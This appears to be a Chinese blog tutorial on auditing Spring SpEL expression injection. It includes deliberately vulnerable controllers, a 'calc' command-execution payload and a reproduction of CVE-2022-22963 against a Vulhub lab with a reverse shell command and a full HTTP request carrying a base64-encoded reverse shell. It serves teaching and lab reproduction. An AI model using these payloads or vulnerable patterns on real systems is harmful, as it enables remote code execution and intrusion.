Java代码审计之SpEL表达式注入漏洞分析_spel 代码审计

最新推荐文章于 2024-08-15 14:47:41 发布

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分类专栏：程序员文章标签： java 开发语言

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context.setVariable(“end”, “!”);
//表达式求值
System.out.println(expression.getValue(context));


上述流程分为 4 步：


1. 创建解析器：SpEL 使用 ExpressionParser 接口表示解析器，提供 SpelExpressionParser 默认实现；
2. 解析表达式：使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象；
3. 构造上下文：上下文其实就是设置好某些变量的值，执行表达式时根据这些设置好的内容区获取值；
4. 表达式求值：通过 Expression 接口的 `getValue` 方法根据上下文获得表达式值。


其中，第三步构造上下文并不是必需的步骤，在不配置的情况下具有默认类型的上下文（`StandardEvaluationContext`），故以下代码示例与上面代码等价：

//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression(“‘Hello World!’”);
//执行表达式，然后获取值
String message = (String) expression.getValue();


### 安全风险


SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 `StandardEvaluationContext`外，还提供了 `SimpleEvaluationContext`。


【风险】`SimpleEvaluationContext` 旨在仅支持 SpEL 语言语法的一个子集，不包括 Java 类型引用、构造函数和 bean 引用，而 `StandardEvaluationContext` 是支持全部 SpEL 语法的，它包含了 SpEL 的所有功能，在允许用户控制输入的情况下可以成功造成任意命令执行，因为 SpEL 表达式是可以操作类及其方法的，可以通过类类型表达式 T(Type) 来调用任意类方法，比如以下示例代码将在 Windows 系统上执行运行计算器的指令：

String expressionstr = “T(Runtime).getRuntime().exec(“calc”)”;
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));


与此同时，由于在不指定 `EvaluationContext` 的情况下默认采用的是 `StandardEvaluationContext`，所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。


### 案例演示


下面通过本地 IDEA 创建存在简单漏洞示例的 SpringBoot 项目来直观感受下 SpEL 表达式注入漏洞。


1、由于我使用的是社区版的 IDEA（穷，用不起旗舰版），没有 Spring Initializer 功能，无法快捷创建 Spring Boot 项目，只能手动去 <https://start.spring.io/> 把工程创建好之后下载下来：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/e3c6ba113e0b46629eb25a9bc5ba7923.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4f7ae8864c26450e87c8658e3ddc5156.png)  
 2、下载完是个 `demo.zip` 压缩包工程文件，解压缩后使用 IDEA 社区版 正常 open project 即可，IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4fda27c1b5f944d7a610d53b7feb66bc.png)



> 
> 修改 IDEA Maven 本地仓库和远程仓库配置的话，请参见：[Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)]( )。
> 
> 
> 


3、到 `application.properties` 配置文件修改服务端口为 8081（默认为 8080，与BurpSuite抓包代理冲突了)：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/55779bde824b4ffb98d17d2eb8dc0680.png)  
 4、接着手动新增创建一个控制器 MyController 如下：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/37deed6be9a3453b9195f127114bfa12.png)

@RestController
public class MyController {
// 映射到方法上，最终URL为localhost:8081/spel1，此处通常用 @GetMapping(“/spel1”) 表明GET请求方式的映射
@RequestMapping(“/spel1”)
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}

@RequestMapping("/spel2")
@ResponseBody
public String spel2(String input){
    SpelExpressionParser parser = new SpelExpressionParser();
    EvaluationContext evaluationContext = new StandardEvaluationContext();
    Expression expression = parser.parseExpression(input);
    return expression.getValue(evaluationContext).toString();
}

@RequestMapping("/spel3")
@ResponseBody
public String spel3(String input){
    SpelExpressionParser parser = new SpelExpressionParser();
    EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    Expression expression = parser.parseExpression(input);
    return expression.getValue(evaluationContext).toString();
}

}


上述控制器逻辑很简单，我添加了三个路由：




| 路由 | 配置 | 是否存在 SpEL 注入漏洞 |
| --- | --- | --- |
| /spel1 | 不指定 `EvaluationContext` ，默认是 `StandardEvaluationContext` | 是 |
| /spel2 | 指定上下文 `StandardEvaluationContext` | 是 |
| /spel3 | 指定上下文 `SimpleEvaluationContext` | 否 |


4、接下来直接运行 SpringBoot 项目，即可在本地 8081 端口成功访问到 Web 服务：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/b4388a0a556b4759be01b88fc4df678a.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/9eabc1eb03354028a6a3fdf38c6e625d.png)  
 5、接下来根据我们配置的路由来验证漏洞，Payload为：`/spelX?input=T(Runtime).getRuntime().exec("calc")`：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/502849a9664347c5aba80d6b1ed27c84.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/8c8e94bdcc4f4408820265b454458a7e.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/0787d901fc8f4be194900702bc97bc4d.png)  
 从上面简单而直观的漏洞示例代码可以看出，在不指定 `EvaluationContext` 或者显示采用 `StandardEvaluationContext` 作为上下文的时候，如果 SpEL 表达式的值可被外部输入所控制，则存在因 SpEL 表达式注入导致 RCE 的风险。


## CVE-2022-22963


接下来通过复现、调试分析一个 SpEL 表达式注入 CVE 漏洞来进一步学习、理解此类漏洞，此处挑选的是 [CVE-2022-22963]( )。


### 漏洞简述


如 [Vulhub官方文档所述]( )：Spring Cloud Function 提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。


2022年3月，Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞，由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “`spring.cloud.function.routing-expression`” 参数作为 SpEL 表达式进行处理，造成了 SpEL 表达式注入漏洞，攻击者可利用该漏洞远程执行任意代码。


【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


参考链接：


1. [CVE-2022-22963 漏洞描述]( )；
2. [CVE-2022-22963 官方漏洞修复方案]( )；
3. [Spring Cloud Function SPEL表达式注入漏洞分析]( )；


### 环境搭建


本文使用 [Ubuntu 官方虚拟机]( ) + [Vulhub CVE 漏洞靶场环境]( ) 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤：[渗透测试-Openssl心脏出血漏洞复现]( )。


整体复述一下，Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤：

1、安装docker：
apt-get install -y docker.io
2、安装docker-compose：
pip install docker-compose
3、启动docker后台服务：
sudo service docker start
4、将当前用户加入docker组
sudo usermod -aG docker $USER
5、配置 docker 加速器（提高容器下载速度）：
https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录：
git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹：
cd ~/vulhub/struts2/s2-048/(示例路径）
8、以root身份执行以下命令开始运行漏洞容器：
docker-compose up -d


回顾 Docker 用法请参考历史博文：[渗透测试-Docker容器]( )。



> 
> 【推荐】提高 Docker 镜像下载速度请参考：[Docker–提高下载速度的方法]( )。
> 
> 
> 


此处顺便再简单总结下 Docker 常用命令：




| 目的 | 命令 |
| --- | --- |
| 在Docker公用仓库搜索镜像 | `docker search bwapp（容器镜像名）` |
| 从Docker公用仓库拉取镜像 | `docker pull raesene/bwapp（远程镜像路径）` |
| 返回本地Docker容器镜像信息 | `docker images` |
| 将镜像运行为一个真正在运行的容器 | `docker run -d -p 8080:80 本地容器镜像名` |
| 查看正在运行的容器 | `docker ps` |
| 查看所有容器（无论是否正在运行） | `docker ps -a` |
| 查看指定容器的详细信息 | `docker inspect 容器名或id` |
| 进入容器的shell交互模式 | `docker exec -i -t 容器id bash` |
| 停止正在运行的容器 | `docker stop 容器id` |
| 重启本地已停止运行的容器 | `docker start 容器id` |
| 强制删除本地容器 | `docker rm -f 容器ID` |


Ubuntu 虚拟机成功搭建环境如下：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c11ab1b3d3ed45f0a4f989b5615cbcdc.png)  
 物理机访问 Docker 服务（`http://192.168.171.129:8080/`）：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a986a977bb764fd29a2b2e225ffc348f.png)


### 反弹shell


先说下这个漏洞产生的原因：如果在 `/functionRouter` 的 POST 请求头中添加一个 `spring.cloud.function.routing-expression` 参数，Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。


那我们直接在 POST 请求中发送反弹 Shell 的命令即可，此处使用同一局域网中的 Kali 虚拟机作为攻击机（192.168.171.128）：

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1


但是需要使用 [reverse-shell 在线工具]( ) 将上述反弹 shell 的命令进行 Base64 编码（具体原因请参见：[Java反弹shell小记]( )）：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a4e414606bae41489ec2fdadda17a72d.png)  
 直接发送报文：

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}”)
Connection: close
Content-Length: 6

test


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/91f0ad76ced64f8698701f944ede54c2.png)


【题外话】此处顺便补充一个小技巧，BurpSuite 如果显示字体模糊、分辨率不佳的情况下（比如此图，伤眼睛啊……），可以在桌面快捷方式右键选择“属性”，在兼容性中选择如下配置项后重启即可解决（效果可参见下文另外的 Burp 截图）：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c2ba4b0122af4dc0ad099c9afef86945.png)  
 此时 Kali 攻击机可获得反弹的 Shell（其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP）：![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/edc6344a722f4feba77a6cd862567338.png)  
 至此，我们已成功复现该漏洞，通过 SpEL 注入实现了 RCE 远程命令执行。


最后，结束 Ubuntu 虚拟机靶场容器环境的运行：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/76c48e43980645859b4c50d8356f1add.png)


## CVE漏洞调试分析


简单的复现漏洞并不是目的，我们的目的是从历史 CVE 漏洞中分析根因，并尽可能能够实现在白盒代码审计实战中做到举一反三。


### 本地搭建


此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境，直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。



> 
> 不想折腾的话可以直接在 Github 获取来源的漏洞环境项目：[Spring-Cloud-Function-Spel]( )。
> 
> 
> 


1、只需要在 pom.xml 中新增引入 `spring-boot-starter-web`、`spring-cloud-function-web`（存在漏洞的 3.2.2 版本）：

org.springframework.boot spring-boot-starter-web org.springframework.cloud spring-cloud-function-web 3.2.2

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);//表达式求值//创建解析器//传入并解析需要评估的表达式’”);//执行表达式，然后获取值// 映射到方法上，最终URL为localhost:8081/spel1，此处通常用 @GetMapping(“/spel1”) 表明GET请求方式的映射1、安装docker：2、安装docker-compose：3、启动docker后台服务：4、将当前用户加入docker组。
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